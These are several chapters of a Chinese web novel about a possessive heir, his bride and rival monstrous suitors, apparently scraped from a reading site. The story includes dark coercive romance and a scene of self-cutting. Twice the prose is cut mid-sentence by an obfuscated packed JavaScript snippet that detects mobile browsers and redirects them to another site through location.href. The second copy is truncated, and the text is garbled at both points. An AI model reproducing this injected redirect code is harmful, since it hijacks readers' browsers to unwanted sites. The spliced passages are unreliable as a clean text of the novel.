评了一圈,回到中心思想,鼻尖蹭着她颈侧最薄也最脆弱的皮肤,轻得只有他们能听清的声音钻入她的耳朵:“用我的,只用我的……香,好不好?” 问的是好不好,手却不知道什么时候,像蛇一样攀上来,时松时紧,暧昧也危险地圈着她的脖颈。 卿岱稍微偏了偏头,他的身上散发着一贯的淡香,还有比平时要稍微浓重一点的人工香气,可能来自新换的沐浴露,可能是别的。 但浓重的香味还是遮掩不住那缕奇怪的味道。 她的注意力被这一点吸引,没有回答他的问题,反问了一个:“你身上是什么味道?” 没得到想要的回答,雍衍的手下意识收紧了些,虎口卡着她的下颌骨,让她看着他。 卿岱的眼睛特别漂亮,就算她的心是冷的,眼里也含着情,她眼里虚假的情愫,是别人自欺欺人最有用的安慰剂。 雍衍的眼神冷下来,侧开脸,没再看她,但放松的手却没有离开她,指尖甚至还在摩挲她纤薄的皮肤。 人没再贴着她,和她拉开了一点距离:“很难闻吗?” 那些臭虫的味道真难清理,雍衍刚离开卿岱,并不打算再看她的视线又在不知不觉的情况下,回到了她的身上。 他清理了那么久,还是清理不掉吗? 雍衍的瞳色很浅,只有背着光的时候,才会像海面一样幽深,想到其他生物的气息沾在他的身上,和他一起,接近到她,触碰到她,甚至引起她的注意,他就有种想要毁掉除她以外的一切的冲动。 它们凭什么? 那他应该怎么做?把皮肉剥下来,更深度地清理自己吗? 雍衍平静的眼眸中浮起点点金黑色的碎光,抬起手,修长的手指不知道在什么时候,变成了长长的利爪。 他在卿岱的身后,垂眸,病态且痴迷地看着能轻易把铁皮撕开的利爪,他其实很愿意为她这么做。 只是怕她接受不了。 雍衍感觉卿岱转了下头,似乎是想看他,他抬起眼睫,放回到她身上的手又被冷白的皮肤包裹,极轻地抚了抚她的颈侧:“那我去洗一下。” 雍衍说着,放开她,指尖有只有他自己知道的粘稠眷恋。 13. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 “昨晚姓雍的那个疯子又犯什么病了?”问话的男人一头乌黑顺滑的长发,优雅地打开西装扣子,身姿翩翩地坐下来,“凌晨派出那么多人,不知道找什么宝贝,把我的船都翻了个遍。” “可不是么,我正洗澡呢,那些人非要进来看看。”手撑在额角,穿着真空深V西装的男人看着手里的文件,懒懒地附和,轻嗤了一声,“好像我和那疯子的宝贝在做什么见不得人的事情一样。” 抬起眼,看了眼坐在旁边安静摆弄茶具的男人:“论起拐人宝贝这种勾当,最先提起的应该是靳老板啊,雍衍没让人去你那吗?” 如玉修长的手指捏着描着水墨画的茶盅,袅袅烟气模糊了男人的面孔,在这间房间的男人个个生得出挑,但只有他,才会让训练有素的侍者经过时,下意识抓紧托盘,脚步频率发生细微的变化。 长着最招摇的脸,做得却是最需要精心凝神的事情,声音一起,仿佛打开了蛊惑人心的妖术:“我再没下限,也知道朋友之妻不可欺。” 真空西装笑:“雍衍是你的朋友?” 制茶的男人耐心地舀起茶盅飘起的细碎茶叶,茶香和花香缠绕着逸散在房间各个角落:“靳家和雍家目前处于合作状态。” 真空西装低下眼睫继续看文件,语气轻挑:“说这些……不过是雍衍的宝贝没引起你的兴趣罢了,那种乖巧无趣的金丝雀怎么入得了靳老板的眼,也不够折腾的,还是……” 进来便持香对着神龛拜了几次的男人倒掉香炉里的灰渣,也坐到桌边:“对雍衍不满说他一个人就可以了,不必牵涉到另一位女士。” “也是,和雍衍结婚是那位女士的不幸。”带起话头的男人微微颔首,表示同意,转着手指上的戒指,用华丽的腔调优雅骂道,“只是雍狗越这么搞,就越让人好奇被他当眼珠子爱护的宝贝到底什么样子。” 他说着好奇,人却收起了全部兴趣,完全把“雍衍的宝贝”抛到脑后,只把她当做骂雍衍的合理理由。 其余人也是一样,这一桌聚集了为数不多,有资格与雍家抗衡的势力掌权人,他们作为雍家的宾客来参加雍衍的婚礼,心里却揣着各种心思,他们没时间也没心情去关注一个对他们的目标毫无作用的女人。 戴着戒指的长指在桌上轻点了一下:“最近的那件事,你们怎么看?” 这个问题抛出来,才正式叫房间里的男人们注意力集中起来。 再提起“雍衍的宝贝”已经是几个小时以后的事情了。 穿着真空西装,露着一对漂亮锁骨的兰隐看了眼时间:“就先到这儿吧,雍衍今晚要带着他的宝贝见孟姨,我妈非要跟着凑热闹,我得去看一眼。” 长发男人起身:“雍狗能让你看他的宝贝?他的亲弟弟之前想要见见自己的‘嫂子’都被教训成那个样子。没有血缘的就更惨了,雍衍可是有个房间,里面摆满了泡眼珠子的罐子……”他看向兰隐的眼睛,轻声感叹,“今晚,雍狗的收藏品里应该会多一双昂贵的绿色眼睛。” 兰隐无所谓地挑了一下眉:“能膈应一下雍衍确实不错,但我还没幼稚到利用一个女人和雍衍较劲的份上,不需要他跟疯狗一样防着我,我会注意避嫌的。”低下眼睫,戴上手套,碧绿色的眼里流露出久居上位的傲慢,“尤其是一个只有雍衍单方面在意,在我眼里,毫无价值的女人。” —— 兰隐独自走在长廊里,提到混血,高颜值算是它对应的标签之一,但混血也不是那么容易就能混得好看的。 兰隐属于幸运儿中的幸运儿,准确地从东西方混合的血统中拿到了西方立体深邃折叠度高的骨相,和东方人精致隽秀更具韵味的皮相,加上一米□□,比顶级男模更标准的身材,走到哪里都是最吸睛的存在。 他的穿着也是圈子里也是颇为显眼的那个,真空西装,黑丝紧身衣,链条露脐装,这些离经叛道的大尺度服装,都被他穿着,在充满肃杀味的生意场走过秀。 换一个人早被圈子孤立驱逐,可惜,他是兰家从小钦定培养的继承人,只要兰家自己不在意,别人也不敢管他。 好在这些“辣眼睛”的衣服穿在他身上都不难看。 兰隐健身的尺度拿捏得极好,有肌肉但不夸张,每一块都在人体美术模板对应的位置,比如此刻墨绿色深V西装领口显出的两块胸肌就恰到好处的诱人,不会让人觉得油腻奇怪。 穿着骚包的衣服,精致眉眼却给人漠然冷傲的印象,没人敢因为他另类怪诞的服装对他有一点点的轻视嘲笑。 兰隐侧头,本来想看玻璃里自己的倒影,却在自己身后看到另一道高挑的身影:“靳老板也走这边?” 靳以聿嗯了一声,下了谈判桌,他和兰隐没什么说。 兰隐也一样。 如果他们这些人可以成为别人的闲谈随便议论,那靳以聿的名声应该和兰隐是差不多的烂。 兰隐是在穿着上太招摇,靳以聿则是在作风上。 长了副招蜂引蝶的妖孽样子不是他的错,可把人招来,不拒绝也不负责就是他的问题了。明里暗里的桃色新闻从没断过,可到现在,经他亲口承认,有正经“名分”的是一个也没有。 靳以聿倒是从不和人议论这些,但他对女人是什么态度,有眼睛的能看出来——就是玩玩。 两大豪门毒瘤就这么沉默地一前一后走着,快到空无一人的长廊尽头,突然不知道从哪里冒出来两队黑西装拦住他们。 靳以聿一直侧着脸,散漫地看着玻璃墙外,却比兰隐更先停下脚步,停住以后,也一点也不着急,更没打算上前交涉,还是安静地看着外面。 兰隐站在黑西装前面:“让开,我找人。” 黑西装没动,客客气气地请兰隐离开:“抱歉,兰先生,前方不通,您可以乘坐西侧的电梯离开。” 兰隐觉得好笑,雍衍到底疯到什么程度了。 他妈给他发的位置离这里还有一栋楼的距离,从这里就开始封锁,不让人过了? 他的宝贝到底是多么见不了人? 过两天就是婚礼了,他还打算把他的宝贝包得严严实实的端出来,不给任何人窥视吗? 兰隐看了眼黑西装,无意和雍衍手底下的人纠缠,拿出手机,拨完号,看了眼旁边悠闲欣赏风景的 14. 先结婚再守寡 大厅里,几位夫人坐在台下,台子上有专业模特穿着时装,佩戴珠宝款款走来,夫人们时不时低声交换意见,让助理做好记录,看起来她们是在为自己挑选漂亮的装点,实际上她们随意吐出的每个字都暗藏深意,如同话家常的三言两语间敲定了好几桩大买卖。 这是作为豪门成员必须要做,也必须会做的事情。 孟鹤白兴致很淡,看兰香与打完电话回来,向其他人微微颔首:“我还有些家事要处理,你们先去喝茶。” 在场所有夫人都知道孟鹤白不愿挑明的家事指的是和将要进门的大儿媳见面。 “灰姑娘”的故事连小孩子都能背诵两句,然而在现实里,作为圈子里的一份子,他们都从来没见过毫无背景的“灰姑娘”嫁入豪门,被养在外面的倒是挺多的。 尤其这还是雍家,极其注重血统和阶级的雍家。如果不是雍衍,换成前几届的掌权人,雍家是绝对不会松口的。 没人知道雍衍是怎么说服雍家背后顽固死板又强势的大家长们的,只能看到雍家从婚礼开始筹备到现在都“乖”得不像话,再离谱的要求,他们也都无条件配合了。 这就很让人好奇,到底是怎样的“灰姑娘”能有这样的本事,一个人打破了雍家无数条规矩。 八卦的心在夫人们的胸膛里燃烧,面上却不敢多问,但还是有人没有控制好表情,在转身离开前,弯起唇,做出了一个要笑不笑的表情。 孟鹤白目光落在那位夫人身上,眼底现出冰冷。 孟鹤白一句话没说,只是视线多停留了这么一会儿,助理便记下了那位夫人的名字,那位夫人今晚就会被驱逐出岛,再也不会回来。 “呼,好紧张。”兰香与坐在孟鹤白身边,让人帮她整理发型,“阿隐刚刚给我打电话说想先跟他的小表嫂打个招呼,被我打发回去了,一点也不懂事……” 孟鹤白慢慢抿着茶:“是我要见儿媳,你紧张什么?” 兰香与侧脸端详孟鹤白,还上手捏了捏她的脸:“诶呀,你就和蔼一点嘛,这么严肃,别说你的儿媳,我看了都害怕。你也别先入为主觉得人家是孤儿就什么都不好,我还希望小隐能找到一个他真心喜欢,背景还简单的姑娘呢……哦,对不起,你刚打了针,脸还僵着呢,是吧?” 孟鹤白蹩眉,看着动手动脚的兰香与,后者也很识趣,笑得很漂亮,把手收回来。 孟鹤白没再看她,低头看手里的资料。 兰香与托着下巴幽幽叹息:“诶,一转眼咱们都成婆婆辈的人了,时间可真是快啊……阿衍怎么还没带人来啊,我们都等多久了?” 她的话音落下没一会儿,有人进来通报,孟鹤白放下手里的东西,看向门口。 看到开门的人不是侍者,而是雍衍本人,孟鹤白收回了视线,扫了眼旁边的人,示意他们把刚换上来的茶再拿下去换掉。 耳边是兰香与的轻呼:“嗯~” 孟鹤白把视线投回到门口,看到让雍衍亲自为她开门的人进来。 雍衍把她的资料封锁得滴水不漏,就连孟鹤白都没见过她后来的照片,只能靠几年前见的一面,推想她现在的样子。 事实证明,造物主的创造力远远超出人类的想象力,孟鹤白自以为她不会再有波澜了,当她再次当年让她对美有了全新认知的女孩子,她还是无法控制地感到惊艳。 甚至有了一丝动摇,理解了雍衍为什么会为她那么疯狂。 孟鹤白很快稳住心神,看了眼在桌下悄悄戳她的兰香与,用眼神警告她不要闹了,接着示意坐在对面的雍衍和卿岱喝茶:“以聿叫人送来的茶叶,你们也尝尝看。” 卿岱看向飘着袅袅热气的茶杯,很好闻的茶香,她没打算喝,也没有机会喝,雍衍叫人把茶撤掉了。 甚至没给理由,只是叫人给卿岱换上“味道没这么大”的果汁。 而且不仅撤掉了卿岱和他的,还把孟鹤白这边的也拿走了,很快,房间里就半点茶香都不剩下。 孟鹤白唇边的笑意一冷。 在桌下做着小动作的兰香与也安静了,察觉到气氛不对。 孟鹤白再开口,语气也冷硬起来:“你们去看过婚礼的布置了吗?” 雍衍摸了摸果汁杯壁的温度,确定是合适的,才放到卿岱那边:“我去看过,没什么问题。” “没什么问题?”孟鹤白慢慢地重复了一遍,“雍家的几位长辈年纪那么大了,按如今的局势,都不应该冒着风险来参加你的婚礼,为了给你做个见证,这才赶过来,结果,你就把他们安排在普通座位上?” “我的婚礼上只有一种座位。”雍衍看着孟鹤白,无论是眼神还是姿态都没有对待亲生母亲的样子,依旧冷淡,“所有特殊,都是卿岱的,其余人,无论是谁,保持安静看着就好。” 他们有什么资格给他和卿岱做见证? 他本来连看都不想给他们看的。 孟鹤白抿唇,心里的不满拉到极限,语气却还是雍容平缓的:“那你们有没有去彩排?” 雍衍:“不需要彩排。” 孟鹤白深吸了口气,兰香与用口型悄悄问卿岱能不能把果汁给她,让她拿给孟鹤白,她感觉孟鹤白要炸了。 孟鹤白的语气听不出来火气,还很冷静:“那如果出错了怎么办?那么多宾客,还有很多家族在等着看笑话……” 雍衍就算态度漠然傲慢,也很少打断孟鹤白的话。 这次他打断了:“我和卿岱的婚礼,不会有错。” “谁想看笑话,我欢迎啊。”雍衍的眼神很平静,甚至浅色的瞳孔都透着种无机质的冷光,没有什么能让它们泛起波澜,可不知道是反光还是什么,莫名地能在他的眼瞳上看到病态疯狂的重重鬼影,让人打心底里生出寒气。 孟鹤白本来是看着雍衍的眼睛的,在雍衍轻缓的声音进行到一半的时候,她没有忍住,顺应心里生出的恐惧移开了目光。 她觉得羞耻,哪有母亲这么害怕自己的孩子? 没什么好说的了,孟鹤白甚至有些迫不及待地想要雍衍离开房间,好让阳光照进来,热一热她发凉的手脚。 但孟鹤白不想让人看出她的懦弱,微抬着下颌,用很轻的声音提醒他:“雍衍,你这么做,会给她带来麻烦的,你不可能永远在她的身边。” 她这么说,是想重新树立她在雍衍面前作为母亲的威信,但她也不是毫无理由地警告他。 雍衍如此高调地向全世界宣告卿岱对他的重要性,对卿岱来说最好的保护,不可能再有人因为卿岱的身世看轻她。 前提是,雍衍在。 一旦卿岱离开雍衍的庇护,那些被他强行遏制住的恶意会加倍反噬到卿岱身上。 到时候,雍家可不会再这么好说话,会在第一时间撤回对卿岱的一切优待,冷眼看她被人分食。 雍衍没有回应孟鹤白的提醒,带着卿岱离开。 安静了很久,兰香与才搓着手臂,开口转移话题:“嗯……对了,阿野去哪了?怎么一直没看到他?” 提到雍烨,孟鹤白眼神缓和了一些,但脸色还是很凝重:“他身体不舒服。” 兰香与看孟鹤白没心情聊天,也没打扰她,拿出手机给兰隐发短信,跟他分享快乐: 【小隐,已见到你未来的表嫂,她好漂亮,妈妈不敢拍照,但妈妈希望你以后也能给妈妈带回来这么漂亮的老婆~】 这些文字出现在亮起光的手机屏幕,手机在白色陶瓷上震动,一只滴着水的手将它拨正,兰隐趴在浴缸边,只露出一双眼睛将信息看完。 漂亮的……表嫂,他闭上眼,身体滑进水里,水漫过他的头顶产生压力,脑海里却轻盈地释放着玻璃走廊时的阳光。 玻璃墙将光打乱,混乱中,她看过来的眼睛却是那么清晰。 心不在焉打出来一点泡沫很快就散开,露出水下如大卫雕塑般完美的身躯,兰隐闭着眼,像是睡着了,手边却排开一层层水波。 等过了窒息的临界,一脚踩进地狱里,他才让自己冲出水面。 水流像瀑布哗啦啦地滑过他漂亮的眉眼,描深他的唇色,兰隐仰头靠在浴缸壁上,轻声喘着气。 睁开眼,那双注视着他的眼睛消失了。 兰隐皱起眉,碧绿色的眼睛凝视着天花板上绘着的图画。 有很多事情是他不理解的,它们都发生在那一瞬间,让他来不及阻止的那一瞬间。 也不知道他有没有思考出结果,片刻后,兰隐又闭上眼,重新找到那双眼睛,和她一起回到水底。 水已经凉透,兰隐才走出浴缸,没什么顾忌地赤着身走出浴室,顺手拽了一个毛巾。 擦着头发,兰隐感觉有些不对,把手放在眼前。 他的手背上裂开了一个口子,口子极深,直接割断了柔软的组织,显出最里面的白骨。 痛是其次,主要是太丑了,丑得令兰隐无法接受。 兰隐皱着眉看着手背,走向浴室,打算拿手机叫他的私人医生过来。 突然,他停住。 他右手的皮肤和肌肉在他的注视里,像掉落的花瓣一样,一块块地簌簌落下。 好痛——好舒服——好痛——好舒服—— 没开灯还拉着厚重窗帘的房间门被打开,孟鹤白端着吃的走进来,看着床上被子的隆起:“吃点东西吧。” 被子的隆起没有回应她,只是蜷缩得更紧。 孟鹤白犹豫了一下,把托盘放到旁边桌上:“不然,我叫人先送你回去?我今天见过你哥和嫂子,他们都没有怪你……” 被子里终于传出声音,有些模糊,像是从一层又一层的纱布里挤出来的气音:“出。去。” 孟鹤白站了一会儿,转身离开。 攥着被子边缘的手被深色的被单衬得更白,白得好像让指尖透出的粉红都要顺着手指流下来了。 有细细的,纯白的东西蠕动着爬上他的指缝,乍一看是很多虫子,仔细看确实无数条如有生命的丝线。 雍野把被子拉紧,深深地遮住自己的脸。 他的脸也被自己分泌出的蛹丝缠住,先是像纱布一样在他的眼睛上裹了一层又一层,然后是嘴巴,蛹丝越多,他越能清楚地感觉到那股死亡的气息。 来自他放进她房间里的黑色蝴蝶的死亡气息。 它可能算是他的分身? 他不知道怪物的身体是怎么运作的,他只知道,他能通过他幻化出的黑色蝴蝶听到,嗅到,感觉到外界事物的变化。 黑色蝴蝶和他一样可以随心所欲地穿过屏障,去想要去的地方。 他一开始并不会驱使它,或者说,没意识到是如何驱使它的,是它自己找到她的。 她的声音,她的味道,她的体温对他来说就是花蜜。 他贪婪地汲取,同时,痛恨污染花蜜的那个疯子。 她的气息因为雍衍有了杂质。 它能在她身上闻到他的味道,它能从他的味道中感觉到雍衍的兴奋,雍衍的渴望,和他从她身上那里得到的餍足。 这些,让雍野格外想要杀死他。 浓烈的痴迷和恨意让雍野有些浑浑噩噩,等他意识到不对,已经晚了。 黑色蝴蝶死了。 他猜到了这个结局,不过猜错了别的,他以为会是雍衍杀死它,没想到。 杀死他的,是她。 她很有技巧,也很温柔。 他能感觉到她用温软的指尖轻轻舒展开他的翅膀,一寸寸抽走他的生命。 没有留下任何损伤,让痛也变得那么舒爽,那么上''瘾。 他在她赐予的死亡中得到了前所未有的欢愉。 就算以为他会和黑色蝴蝶一起死掉,也没有任何的反抗。 他并没有死,冰冷的液体被她注入黑色蝴蝶的同时,他得到了重生,只是需要付出一点代价。 雍野动了动指尖,以惊人速度生长的蛹丝限制了他的行动。 他知道,他很快就会被这些蛹丝吞没,重塑,再生。 这个过程本身就很痛苦,而他还会在期间,反复品尝黑色蝴蝶死亡的难过。 更痛,也更爽了。 雍野甚至觉得这是对他的奖励。 除此以外,雍野能清楚地感知到,他在濒死中一点点变强。 希望这次他能够杀掉雍衍。 夺走他的花蜜。 —— 房间里多了一道茶香,雍衍看着卿岱低下头,鼻尖靠近摊开的茶叶,她嗅东西时的动作很小,几乎看不到鼻翼阖动,足以想象她的气息多轻多浅,偏偏眼神又很专注,从他的角度看,她像是要亲吻那些碍眼的叶梗。 孟鹤白说得很清楚,这些茶是靳以聿送来的。 靳以聿有个私人茶园,没事的时候,他会亲自摆弄,所以身上也总带着融了茶叶苦香的味道。 是不是卿岱手上的这种茶的味道,雍衍不记得了。 他看着卿岱,微微偏头,手指穿进她的发丝,很轻地向后拉,在快到发尾的时候挽了一下,把她的发尾缠在他的手腕上。 “喜欢他的味道?” 卿岱并没有抗拒他逼迫的动作,仰起脸,看着他回答他的问题:“第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12850669|135661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次闻到。” 雍衍没有动,冷淡的眉眼下流着的却是无数扭曲的恶念。 从第一天把她带回来,她就接受了他的一切。 他的病态,他的阴暗,他的控制欲,他疯狂的欲/念。 好像什么都能接受,再过分的都可以。 雍衍并不会因为她如此顺从他而开心,反而,她越乖顺,他就越不安。 他忍不住想,这样的她,如果有一天被别人抢走,她会不会也让对方任取任求。 他第一次懂得恐惧。 他怕别人毁掉她,也怕别人爱她。 也是第一次,雍衍对自己产生了怀疑,他在她眼里是不是和所有人一样,可以随时被取代? 所以,后来,他很执着地想要培养他和她的第一次。 哪怕用自己玩一些奇怪的花样,也要在她心上烙上独一无二的印章。 孟鹤白说,他不可能永远在她的身边。 雍衍用手指捋顺卿岱的长发,入骨的傲慢让他对孟鹤白的话做出不屑一顾的反应。 可实际上,他在很早之前就开始为这种可能做了准备。 这种,他自己也觉得不可能的可能。 雍衍摊开手,蝴蝶发簪在他手心,从她头发上取下这个的时候,他握住了尖锐的那端,握得有些紧,发簪尖端在他手心留下淡红的痕。 垂坠的宝石蝴蝶轻轻打颤。 雍衍看着招摇的宝石蝴蝶:“也喜欢他?” 卿岱也看向发簪:“这个是你叫人拿来的。”她把手放在他的手上,指尖在他被压出痕迹的手心一触一离,“我喜欢你给我的。” 雍衍看着卿岱,面无表情,可每根神经都下贱地紧绷着,期待着她的下一次爱抚。 他是什么时候发现的? 她其实很清楚怎么控制别人的情绪。 但必须是她自己想要这么做,别人逼不了她。 雍衍深深看着她,光是注视还不够,他还要他的一切都仔细感受着她靠近他,抽出他的衬衫下摆。 可他并没有动作,似乎怕他一动,她就会停下来。 发现她其实可以轻而易举地控制他情绪的同时,他还发现了另一件事情。 他其实根本没有能够逼迫她的资本。 他是个卑劣无耻的人,能够做出用她挚爱的人威胁她爱他的事情。 可她却一点也不在乎。 可能有从小照顾她的师父师哥,可能有孤儿院的妹妹弟弟,可让她在意生死的挚爱,没有。 她曾经把刀尖刺进秦舟珩的心口,问他这样可以吗。 雍衍闭上眼,还是忍不住抓住她的发尾,然后放开,顺着她的脖颈,抱住她,用鼻尖蹭着她。 她的骨头对他来说好轻好细,现在的他,随时都可能伤到她。 哪怕是亲吻,他都要很注意力度。可就算这样,他还是觉得他抓不住她。 蝴蝶,茶,花……他只是带她出来这么几天,她身上就多了这么多讨厌的味道。 雍衍轻轻兮起那对狭长锁骨处的皮肤,饮鸩止渴地用齿关磨了磨:“把衣服拖掉。” 他直起身,吻了一下她的额头,与刚刚的缠绵比起来,这个吻有些冷硬:“去浴室里等我。” 他要把她身上,其他东西的味道洗干净。 卿岱嗯了一声,把茶叶收好,转身要去浴室。 雍衍看了一眼她放茶叶的盒子,很精致,很漂亮,还很稳妥地被她安置在桌子靠内侧的地方。 他收回目光,侧身挡住了卿岱,目光落在她旗袍领口的盘扣。 “衣服脏了,不要带进浴室。” 卿岱低眼看了看身上的旗袍:“刚换的,哪里脏……” 话没说完,人就被抱到桌上,卿岱没有惊慌,只是看着他,雍衍也看着她,过了几秒,他抬手抽掉领带。 微微起伏的肌理像酝酿着暗潮的海面,台灯暖融融的光顺着越来越广袤的海推进,雍衍慢慢解着扣子,吻她的动作却充满侵略性,卿岱只能被他压着往后仰。 她往后的时候,桌上倒了很多东西,其中就有她刚调好,准备用来补色的颜料。 这些颜料是她自己配的,里面有种特别的香。 吻得那么深,雍衍还有间隙,低低地问:“喜欢蝴蝶?”他的手抓住了卿岱的手,带着她去拿画笔,途中又碰掉了很多东西,乱七八糟地撒了一桌子。 他都没管,让笔尖沾上桌面倾倒的颜料。 卿岱的手腕被握着,感觉到笔尖被他起伏得剧烈了些的小腹抵住。 雍衍抵着她的额头,和她一起向下看,看她的画笔,看她可以作画的画布。 “把它们养在我的身上,好不好?”很轻的声音,能制造出极端温柔的假象,也能掩藏极力克制的病态疯狂,他确定她拿住了画笔,放开她,拿了把美术刀,在小腹处轻轻一划,再勾了几下,一朵血色的花便落在那里,吐着花蕊,吸引着蝴蝶飞来。 “我可以用我的血,把它们喂得漂亮。” 卿岱看到他身上出现伤口皱了下眉,皱眉处被他抬头吻了一下:“很快就会好的,不用担心。”又引着她来看,“这样的花,你不喜欢吗?” 卿岱眼睫颤了颤。 —— 衣服脏了,两个人的都脏了,桌子上的东西基本也都没用了,尤其是那一盒茶叶,被颜料染得没法看,只能扔掉。 所以进到浴室里的时候,他们都很坦诚。 浴缸里放满热水,卿岱躺在里面,看着晃荡的水面,偶尔用手拨弄一下泡沫下的影子。 水声响起,雍衍倾身过来亲了亲她的耳垂。 卿岱伸出手碰了碰浸了水的蝴蝶,问:“你不要吗?” 雍衍没说话,只是把她托到他身上,抱着她。 卿岱好像稍微往旁边躲了一下。 雍衍皱起眉,把她的脸抬高,认真看了很久也猜不出她在想什么。 他怕伤到她,每次都会停下来。 她对这样的他感到嫌弃还是觉得无聊,开始腻了? 这样的想法一旦出现,就止不住发散。 想到她厌了他以后,会不会选择新的,更好的作为补偿。 或者,她现在已经有了人选。 那么那个代替他满足她的人会是谁。 她采花回来的时候,身上陌生又熟悉的味道来自哪里? 他本来想等婚礼结束再把他找出来,看来等不了那么久了。 雍衍慢慢平复着呼吸,伏在卿岱的颈侧。 表面安静,内里杀意锋利。 15. 先结婚再守寡 岛上的宾客们无论来自什么家族,无论阶层辈分,全都收到了来自主人的通知:从今天开始,晚上十点以后,所有人都不许离开房间。 没有写明不遵守后可能得到的后果,因为不需要,落款的雍衍印章比任何威胁都有用,甚至让人拿到这封装裱精致的“恐吓信”时,便能感觉到寒意从漂亮的字迹渗进手心。 “疯狗。”风吹起站在阳台上的男人的长发,他指间夹着这信纸,本想将它放在火苗上,突然改变心意,收回燃到一半的纸张,把它叠成了一只纸鹤。 又一阵风起,雨一样的花瓣描出风的形状。 他低下头,看着落在纸鹤上的浅色花瓣,扬起手。 被水氤氲成深色的花瓣经由碾压,溢出带着香气的浅色汁水,和那些人为制造出的旖旎痕迹交织在一起,落在雪白的皮肤上,犹如爱好杀戮的变态杀手留下的案发现场,暧昧又凶残。 此刻,杀手握着受害人的脚踝,侧脸亲吻她的脚链,像大型犬一样,用她脚踝内侧突起的骨头磨了磨牙。 这是意图犯下更加十恶不赦的罪行的前奏。 他含住了几片干燥的花瓣,修长的手从最开始亲吻的地方开始,温柔地爱抚,强势地分离,直到他的下一个目标向他完全打开,才笼着她的腿窝内侧,把她拉向自己,俯下身。 卿岱脚链上的红宝石在他耳后轻晃,在墙上映出一滴摇曳的浅浅血光。 唇舌是他的凶器,极具技巧性地碾出花瓣最后一滴散着香气的血液,失去血液的花瓣却更加湿润鲜艳,它的香彻底被她蒸腾出的香取代,让这位熟练的凶手达成了最完美的,掩盖罪证的方法。 雍衍直起身,唇色被汁液浸泡得鲜红,好像餍足的吸血鬼,居高临下地看着卿岱,然后又侧脸,亲了亲她血液循环起来,温度稍微上升了些的脚踝。 卿岱看着他把弄了她满身的淡色沾在她的脚上。 她动了动,脚背擦过了雍衍的脸颊,他本能地因为有人对他做出这种羞辱动作皱起眉,看向她的眼神也冰冷到极点。 是那种上一秒与你极尽缠绵,下一秒就可以毫不犹豫地捏死你的睥睨眼神。 卿岱却感觉不到恐惧,看着他,抬起脚,在他沉沉望着她眼睛的视线中,把脚落在他的胸口。 她没怎么用力,只开口说出她要他怎么做:“下去。”清冷的声音像雪一样冰,可没人会拒绝只能拥有一瞬,很快就会消融的雪花,哪怕清楚自己无法留住她。 几秒后,卿岱得到了她想要的,她起身坐起来,伸手也拿起一片花瓣,放在唇间,俯下身。 跪着的人的渴望战胜了本能,下意识地想要追逐她唇间的花瓣。 她却按住他,话尾难得有一点点上扬:“不许动哦。” 她把花液喂给他身上颜色依旧艳丽的蝴蝶,看它们随着他的川吸振翅欲飞。 “说好不许动的。”卿岱学着雍衍的样子轻轻咬了一下他的喉结。 她的话音没落,他就反扑过来,打破规则的野兽索性百无禁忌起来,卿岱和大片的花瓣一起摔在柔软的床上。 她被他压着一层层地掉落,直到落进梦境里。 当卿岱醒来,她已经不记得自己梦到了什么,像是猜到什么,她摸了摸身边,雍衍又不在床上。 卿岱拿起床边的毛衣外套打算披上,目光却停住。 她走到落地窗前,地上有一块方形的月光,有什么悬在这块月光的上方,优雅地展开平直的翅膀,慢慢旋转。 卿岱抬起头,看到一只纸鹤被一根细绳吊在窗楣上,像是一个轻飘飘的风铃,在没有风的房间里,保持匀速,诡异地转动。 她踮起脚,将它拿下来。 拿下来的时候,她发现吊着它的不是细绳,而是一根很细,颜色很淡的藤蔓。 它本来很慵懒优雅地垂在那里,似乎根本没想要隐藏自己的踪迹,但当她碰到它,它好像在一瞬间变了主意。 狠狠地蜷缩起来,从窗户肉眼看不到的缝隙里退了出去。 卿岱向窗外的花园看去,满目都是绿色的茎叶,那一缕奇异的藤蔓像落进大海里的水滴。 她也没有再去寻找它的身影,收回目光,看手里的纸鹤。 纸鹤展开,熟悉的口吻印在纸面上,最后是那枚代表雍衍的印章。 晚上十点,她本来想看时间,却听到了隐隐响起的午夜钟声。 钟声沉重肃穆,却莫名有种引诱的意味。 深红色斗篷步入夜色中的花园,俯视图中,包围小楼的花园形状犹如一颗黑色的心脏,而她则是一滴从心尖向深处蜿蜒的血珠。 卿岱来到隐秘的小路尽头,茂密的树梢间隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雍衍也没再问:“决定好穿哪件婚纱了吗?”他又亲了亲她的手背,怎么吻都不够一样,“婚礼马上就要举行了。” 卿岱:“都很好。” 雍衍顿了一下,手缠上她的腰:“那我帮你选。” 16. 先结婚再守寡 空旷的平层放眼看去是各种款式的洁白婚纱,给人一种误入婚纱店的错觉,然而再顶尖的品牌也不可能在同一时间展出这么多手工定制婚纱。这些全世界独一无二的天价婚纱,每一件都能轻松兑换一套一线城市的大平层,这还仅仅是它们价值的下限。 这些婚纱试穿很繁琐,需要人打下手,但雍衍叫所有人都在旁边等着,一切都由他亲自来为卿岱准备。 卿岱坐在化妆镜前,看着雍衍站在她身后,把她的头发挽起来,乌黑的发丝在他冷白的指间滑过,慢慢形成与他替她选的婚纱相对应的发式。 把最后一缕发丝也固定好,雍衍抬起卿岱的下颌,从镜子里看她:“喜欢吗?” 他的手指在她颈间温柔流连,游刃有余地划定着暧昧和杀戮的界限。 卿岱看着自己,没什么波澜:“都可以。” 都可以,都很好,雍衍眉眼平静,手指一点点收紧,俯下身,遮住他与她视线相交的眼睛,没让她看到他眼底涌动的暗潮,轻轻吻了吻她:“那就这套吧。” 